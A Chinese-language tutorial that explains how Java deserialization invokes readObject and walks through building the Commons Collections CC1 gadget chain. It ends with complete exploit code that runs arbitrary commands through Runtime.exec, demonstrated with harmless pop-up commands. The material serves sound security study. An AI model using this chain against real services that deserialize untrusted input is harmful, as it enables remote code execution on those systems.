Java 反序列化链分析
链都大同小异, 这里只分析了 CC1
反序列化原理
在 Java 中一个对象的反序列化是通过调用 ObjectInputStream
类的 readObject
方法实现的, 可以将字节流中的数据反序列化成一个对象
在其 readObject
方法中, 如果是一个普通对象 (通过 bin.peekByte
读取第一个字节来判断), 也就是 ObjectStreamConstants.TC_OBJECT = 0x73
, 则调用 readOrdinaryObject
方法, 最终会在 readSerialData
方法中反射调用到对象的 readObject
方法
private void readSerialData(Object obj, ObjectStreamClass desc) throws IOException {
...
slotDesc.invokeReadObject(obj, this);
...
}
这个 slotDesc
是一个 ObjectStreamClass
对象, 而对象的 readObject
方法是在 readClassDesc
获取序列化描述时通过 ObjectStreamClass
的构造函数装载到 ObjectStreamClass
对象中的
除了 readObject
方法外, 还会检查下列方法的实现并赋值:
/** class-defined writeObject method, or null if none */
private Method writeObjectMethod;
/** class-defined readObject method, or null if none */
private Method readObjectMethod;
/** class-defined readObjectNoData method, or null if none */
private Method readObjectNoDataMethod;
/** class-defined writeReplace method, or null if none */
private Method writeReplaceMethod;
/** class-defined readResolve method, or null if none */
private Method readResolveMethod;
也就是说除了 readObject
方法, 还会在序列化和反序列化过程中调用 writeObject
, readObjectNoData
, writeReplace
, readResolve
反序列化调用链如下:
ObjectInputStream.readObject() // [1] 你写在代码中的反序列化入口
|--- ObjectInputStream.readObject0() // [2] 核心调度逻辑
|--- readOrdinaryObject() // [3] 处理 TC_OBJECT 类型
|--- readClassDesc() // [4] 读取类描述信息(TC_CLASSDESC)
|--- readNonProxyDesc() // [5] 读取非代理类的描述
|--- initNonProxy() // [6] 检查序列化版本等, 初始化类的序列化描述
|--- ObjectStreamClass.lookup() // [6] 解析类的序列化描述并缓存
|--- new ObjectStreamClass() // [7] 构建 ObjectStreamClass
|--- getPrivateMethod() // [8] 获取 readObject 等方法
|--- ObjectStreamClass.newInstance() // [9] 获取 ObjectStreamClass 实例
|--- readSerialData() // [10] 从字节流中读取实例数据
|--- ObjectStreamClass.invokeReadObject() // 如果类定义了 readObject, 并且有数据
|--- YourClass.readObject()
|--- ObjectStreamClass.invokeReadObjectNoData() // 如果没有数据
|--- ObjectStreamClass.invokeReadResolve() // 如果定义了 readResolve 方法
环境准备
需要准备的是一个 IDEA, 漏洞库依赖, 对应版本的 JDK 以及其源码, 比如以 CC1 中用到的 JDK 8u65 为例
源码
源码可以在: https://hg.openjdk.org/jdk8u/jdk8u/jdk 查找对应的版本, 这里主要是看有哪些改动, 就找改动 AnnotationInvocationHandler
的前一个版本就好了, 这里直接搜 annotationinvocationhandler

从第一个开始看, 发现是第一个 8143185 修复了, 于是点他的 parents 也就是上一个提交下载源码
把下载的源码挂载到 IDEA 就好, IDEA 具体操作: Project Structure -> SDKs -> Sourcepath
如果没有 JDK 的源码的话, IDEA 搜索调用者的时候是没办法搜到 JDK 中的调用的
依赖
直接用 maven 构建项目, 添加这些依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
寻找反序列化漏洞链
首先必须要有一个触发点也就是入口类
入口类需具备的特征:
- 必要特征: 实现了
Serializable
接口重写了readObject
/readResolve
(准确来说这不是一种重写, 这些方法都是 Java 序列化的一种规范, 在序列化/反序列化过程中是反射调用的), 或者实现了Externalization
重写了readExternal
, 或者实现了ObjectInputValidation
重写了validateObject
, 等等这样类似的能在反序列化过程中被触发且能被重写的方法 - 重写的方法中有特定的逻辑: 调用其他类的方法的能力 / 直接命令执行
比如下面的类:
class Evil implements Serializable {
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("rofi"); // rofi 是 linux 的一个窗口切换工具, 这里是为了弹窗
}
}
如果一个类是以上这样, 那么就可以直接使用了, 但通常不会有这样的, 所以我们还需要很多中间操作转到最终的目的类上
中间类具备的特征:
- 必须能被入口类调用
- 可以调用其他类的方法
目的类需具备的特征:
- 构造函数或者其他函数可以调用任意方法或直接任意命令执行
目的类是用于达成我们最终目的用的, InvokerTransformer
就是一个比较典型的目的类:
public class InvokerTransformer implements Transformer, Serializable {
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
如果我们可以通过入口类来调用到 InvokerTransformer
的 transform
方法, 并且我们可以控制传入的参数, 那我们就可以实现任意方法调用
在找这种类的时候, 可以反向/正向寻找
正向: 从重写过 readObject
方法类开始到达目的类
反向: 从目的类开始找被哪些方法使用, 最终到readObject
CC1 的成因是 InvokerTransformer
可以通过 transform
方法调用任意类的任意方法并且有很多入口类调用了 Transformer
接口的 transform
方法, 在 commons-collections:3.2.1
中默认没有黑名单限制
这里我们的目的类就是 InvokerTransformer
这里我们可以反向寻找这个有哪些类调用过 transform
方法的, 这里我们直接借助 IDEA 的 Call Hierarchy 功能, 这个功能在 选项卡 -> navigate, 可以查看某一个方法的所有调用者, 然后可以逐级往下查看
首先通过 transform
方法可以看到有以下的类调用了:

现在找到了调用 transfrom
的所有方法, 还需要找在readObject
方法中经过层层调用最终调用到 transform
的中间方法
CC1 就是找到了一个 TransformedMap
中的 checkSetValue
方法, 这个方法只有 setValue
调用了
setValue
直接将接收到的 Object
类型的参数传递给 checkSetValue
, 这个方法是 Map.Entry
的方法
checkSetValue
接收一个 Object
类型的参数, 并将其传入 transform
中, 那也就是说如果我们能控制这个参数为合适的类型比如: Runtime
, 并且将 TransformedMap
中的 valueTransformer
赋值为以下的 InvokerTransformer
就可以执行任意命令:
InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{"whoami", null, null});
现在还没有入口点, 接下来看谁调用了 setValue

这里就直接看到了 AnnotationInvocationHandler
的 readObject
方法调用了, 找到了入口类, 就可以尝试构造反序列化链
构造反序列化链
我们的目的类是 InvokerTransformer
, 需要在 readObject
的时候触发其 transform
方法. 已知的一个简单的链条是这样:
AnnotationInvocationHandler.readObject -> TransformedMap.Entry.setValue -> TransformedMap.checkSetValue -> InvocationTransformer.transform
我们可以先构造出目的类, 这里可以调用任意类的任意方法, 最好的肯定是调用 Runtime.exec
, 于是构造下面的 InvokerTransformer
:
main() {
// macos
// String[] cmd = {
// "osascript",
// "-e",
// "display dialog \"Hacked\" buttons {\"OK\"} default button \"OK\""
// };
// windows
// String[] cmd = {"calc"};
String[] cmd = {"rofi"}; // linux 的窗口切换工具, 这里用于弹窗
InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null});
transformer.transform(Runtime.getRuntime());
}
现在就要尝试如何调用到这个目的类了
可以尝试先能成功调用 TransformedMap.setValue
分析 AnnotationInvokerHandler
的源码:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private static final long serialVersionUID = 6182022883658399397L;
// 注解的 Class
private final Class<? extends Annotation> type;
// 这个 map 是在后面用存放注解中的值的, 键是注解的成员名
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
// 这里要让条件为 false, type 必须是一个注解的 Class, 并且这个注解上必须有其他注解 (@FunctionalInterface 这样的就不行)
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
/**
* 这个 map 是注解中的成员与其类型的映射, 比如这个注解:
* <p>
* <code>
* public @interface Test {
* String value();
* }
* </code>
* </p>
* 就会以 "value" 为键, 以 String.class 为值放入这个 map 中
*/
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
// 下面就是根据 memberValue 中的键获取注解中的值, 在封装成一个 AnnotationTypeMismatchExceptionProxy
// 调用 setValue 放入 memberValue 中
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
// 这里要为 true, 也就是说 memberValue 中的值必须是是其类型的实例, 值直接是一个字符串就可以
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
}
从上面的分析中我们可以得出, 我们要放入的 TransformedMap
根据注解来构造其中的值, 这个注解上必须要有其他注解, 并且必须有至少一个成员, 比如 @Retention
这个注解就符合要求
Retention
:
@Documented
@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.ANNOTATION_TYPE)
public @interface Retention {
RetentionPolicy value();
}
这个注解的成员是 value
, 我们就可以构造以下的 TransformedMap
:
main() {
String[] cmd = {"rofi"};
InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null});
// TransformedMap 实际上是一个包装器, 需要构造一个 Map 进去
Map<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "x");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashmap, null, transformer);
}
接下来如果我们自己调用 setValue
方法的话成功执行
for (Map.Entry<Object, Object> entry : transformedMap.entrySet()) {
entry.setValue(Runtime.getRuntime());
}
构造进 AnnotationInvocationHandler
:
main() {
String[] cmd = {"rofi"};
InvokerTransformer transformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null});
// TransformedMap 实际上是一个包装器, 需要构造一个 Map 进去
Map<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "x");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashmap, null, transformer);
// AnnotationInvocationHandler 是非 public 的, 需要通过全限定类名从 system loader 中找到
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 私有构造函数需要 getDeclaredConstructor 获取, 并设置可访问
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, transformedMap);
}
这里看似已经可以直接序列化后尝试反序列化了, 但是还存在两个问题没有解决:
Runtime
不是可序列化的, 如何将其传进去- 在
AnnotationInvocationHandler
的源码中我们可以看到, 最后将我们的可控参数构造进了一个AnnotationTypeMismatchExceptionProxy
再传入setValue
, 这样就导致不能传入一个Runtime
对象了, 参数看似不可控
我们先解决第一个问题:
问题1: Runtime 不可序列化, 如何传入
Runtime
不可序列化, 但他的 Class
是可序列化的, 我们可以通过序列化他的 Class
反射获取 Runtime
对象
main () {
Class<Runtime> runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime");
Object runtime = getRuntime.invoke(null);
Method exec = runtimeClass.getMethod("exec", String[].class, String[].class, File.class);
exec.invoke(runtime, "whoami", null, null);
}
也就是说, 我们同样可以利用 InvokerTransformer
来获取 Runtime
对象并调用其 exec
方法, 但需要用到三个 InvokerTransformer
:
main() {
// 获取 getRuntime 的 Method, 不直接获取其内部的 currentRuntime 是因为 InvokerTransformer 只能反射 public
InvokerTransformer getMethodTransformer = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null});
Object getMethod = getMethodTransformer.transform(Runtime.class);
// 获取 Runtime
InvokerTransformer getRuntimeTransformer = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Object runtime = getRuntimeTransformer.transform(getMethod);
// 执行命令
InvokerTransformer execTransformer = new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{"whoami", null, null});
execTransformer.transform(runtime);
}
用了三个 InvokerTransformer
最终达到目的, 但是最终放入 TransformedMap
的只有一个, 这完全不行
接下来就要用到另一个 Transformer
: ChainedTransformer
ChainedTransformer
:
/**
* Transformer implementation that chains the specified transformers together.
* <p>
* The input object is passed to the first transformer. The transformed result
* is passed to the second transformer and so on.
*/
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
}
ChainedTransformer
的作用主要就是链式调用 Transformer
, 也就是将上一个 Transformer
的输出作为下一个 Transformer
的输入, 这个机制和 Java 的 AbstractProcessor
处理代码的机制一样
我们就可以将上面三个 InvokerTransformer
构造成一个 ChainedTransformer
:
main() {
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});
}
问题2: 参数不可控
除了上面的 Transformer
还有一个非常有意思的 ConstantTransformer
:
/**
* Transformer implementation that returns the same constant each time.
* <p>
* No check is made that the object is immutable. In general, only immutable
* objects should use the constant factory. Mutable objects should
* use the prototype factory.
*/
public class ConstantTransformer implements Transformer, Serializable {
/** The closures to call in turn */
private final Object iConstant;
/**
* Transforms the input by ignoring it and returning the stored constant instead.
*
* @param input the input object which is ignored
* @return the stored constant
*/
public Object transform(Object input) {
return iConstant;
}
}
他的 transform
方法可以返回内部的一个 Object
对象, 那我们就可以结合 ChainedTransformer
的特性, 将 Runtime.class
作为参数封装进 ConstantTransformer
最终可以的到:
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});
这样在 setValue
不论传入什么类型, 都可以达成目的
最终的链条:
AnnotationInvocationHandler.readObject()
└──> TransformedMap.Entry.setValue()
└──> TransformedMap.checkSetValue()
└──> ChainedTransformer.transform()
└──> ConstantTransformer.transform() -> A
└──> InvokerTransformer.transform(A) -> B
└──> InvokerTransformer.transform(B) -> CMD
└──> InvokerTransformer.transform(CMD)
└──> Runtime.exec(CMD)
最后的代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
/**
* @author Erzbir
* @since 1.0.0
*/
public class CC1 {
public static void main(String[] args) throws Exception {
String[] cmd = {
"whoami",
};
String os = System.getProperty("os.name").toLowerCase();
if (os.contains("linux")) {
cmd = new String[]{"rofi"};
} else if (os.contains("windows")) {
cmd = new String[]{"calc"};
} else if (os.contains("mac")) {
cmd = new String[]{"osascript", "-e", "display dialog \"Hacked\" buttons {\"OK\"} default button \"OK\""};
}
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String[].class, String[].class, File.class}, new Object[]{cmd, null, null})
});
// TransformedMap 实际上是一个包装器, 需要构造一个 Map 进去
Map<Object, Object> hashmap = new HashMap<>();
hashmap.put("value", "x");
Map<?, ?> transformedMap = TransformedMap.decorate(hashmap, null, chainedTransformer);
// AnnotationInvocationHandler 是非 public 的, 需要通过全限定类名从 system loader 中找到
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 私有构造函数需要 getDeclaredConstructor 获取, 并设置可访问
Constructor<?> construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object handler = construct.newInstance(Retention.class, transformedMap);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
oos.close();
byte[] bytes = bos.toByteArray();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
ois.readObject();
ois.close();
}
}